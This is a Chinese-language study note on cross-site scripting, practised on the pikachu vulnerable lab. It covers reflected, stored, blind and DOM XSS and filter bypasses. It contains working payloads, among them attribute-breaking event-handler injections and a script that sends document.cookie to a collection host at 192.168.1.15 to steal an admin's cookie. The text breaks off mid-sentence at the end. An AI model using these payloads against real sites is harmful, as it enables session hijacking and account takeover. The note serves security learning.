其他漏洞
XSS
经典语句:<script>alert(1)</script>
XSS:跨站脚本(cross site scripting)
类型:
反射型(用户访问包含恶意代码的URL,当点击链接时恶意代码会直接执行)、存储型(恶意代码在漏洞服务端数据库中,浏览该页面就会执行代码)、DOM型(基于文档对象模型,不经过后端)
要改变页面的某个东西,JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变或移除的方法和属性,都是通过文档对象模型来获得的(DOM )。
原理:
程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。(来源于pikachu)
实例演示(pikachu靶场)
反射型
get
直接更改URL,可以直接在参数后加payload
**输入payload:**获取提示框‘123’
如遇输入框的长度限制 –> 在地址栏插payload or 修改html代码中的输入框长度限制(每输入一个payload之前都要改一次)
post
无法在URL中插入payload的,需要插入内容到数据包,通过html页面方式提交,构造一个自己的post
对post.html中<script>document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
将cookie传送到xss后台
输入Payload:<script>alert(document.cookie)</script>
获取admin的cookie
存储型(永久型)
在留言板中输入上述1.2代码可成功获取,检查后发现恶意代码已在html代码中注入;刷新页面或者用其他浏览器来到本页面,也出现同样的弹框,说明存储型XSS能危害所有访问该页面的用户
xss盲打
强制在留言板提交xss脚本,前段没有直接回显,只能在后台看到反馈效果
XSS盲打的攻击目标是后台管理员,在前端利用输入接口进行攻击,输入的js代码被存储到了数据库中,在管理员登录的时候被触发。盗取管理员cookie后即刻进行管理员密码破解。
DOM型
DOM:可以理解为一个个访问HTML的标准编程接口。
—— 寻找DOM XSS的本质是做js语言阅读理解题
代码示例分析:
1 | document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; |
利用了DOM将字符串进行了拼接并把值给a标签中的href,然后输出一个what do you see?
通过 getElementById
方法找到 HTML 中 id
为 dom
的元素(
用innerHTML修改dom元素内部的内容
创建一个 HTML 超链接元素 (<a>
),变量 str
的值会成为标签的链接地址
思路:利用已知条件构建payload(闭合标签和引号)
payload1:' onclick="alert('xss')">
–>拼接后
<a href=" onclick="alert('xss')" >' what do you see?</a>
payload2:'><img src="#" onmouseover="alert('xss')">
–>拼接后
<a href=""> <img src="#" onmouseover="alert('xss')" >' what do you see?</a>
关于href:指定超链接的目标地址为空,点击不会跳转到其他页面;'>
注入的内容关闭了 href
属性,并添加了一个新的 onclick
属性。
DOM-X:像反射型一样在URL中体现,还是利用DOM进行拼接并把值给a标签的href
xss过滤
关于Htmlspecialchars 函数:将特定的 HTML 字符转换为 HTML 实体字符,防止被浏览器解释为html语言而过滤
可利用该函数过滤进行防御xss攻击
输入<script>alert(1)</script>
后发现左右尖括号被编码成< ;> ;了,但单引号’没有被编码,
<a href='<script>alert(1)</script>'><script>alert(1)</script></a>
可操作,输入payload:#' onclick='alert(1)'
拼接后为
<a href='#' onclick='alert(1)''>#' onclick='alert(1)'</a>
href输出
输入弹窗语句后,没有弹窗,查看源代码后发现左右尖括号和单引号都被html编码了
href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。
输入payload:javascript:alert(document.cookie)
js输出
输入弹窗语句后,没有弹窗,查看源代码后发现输入内容在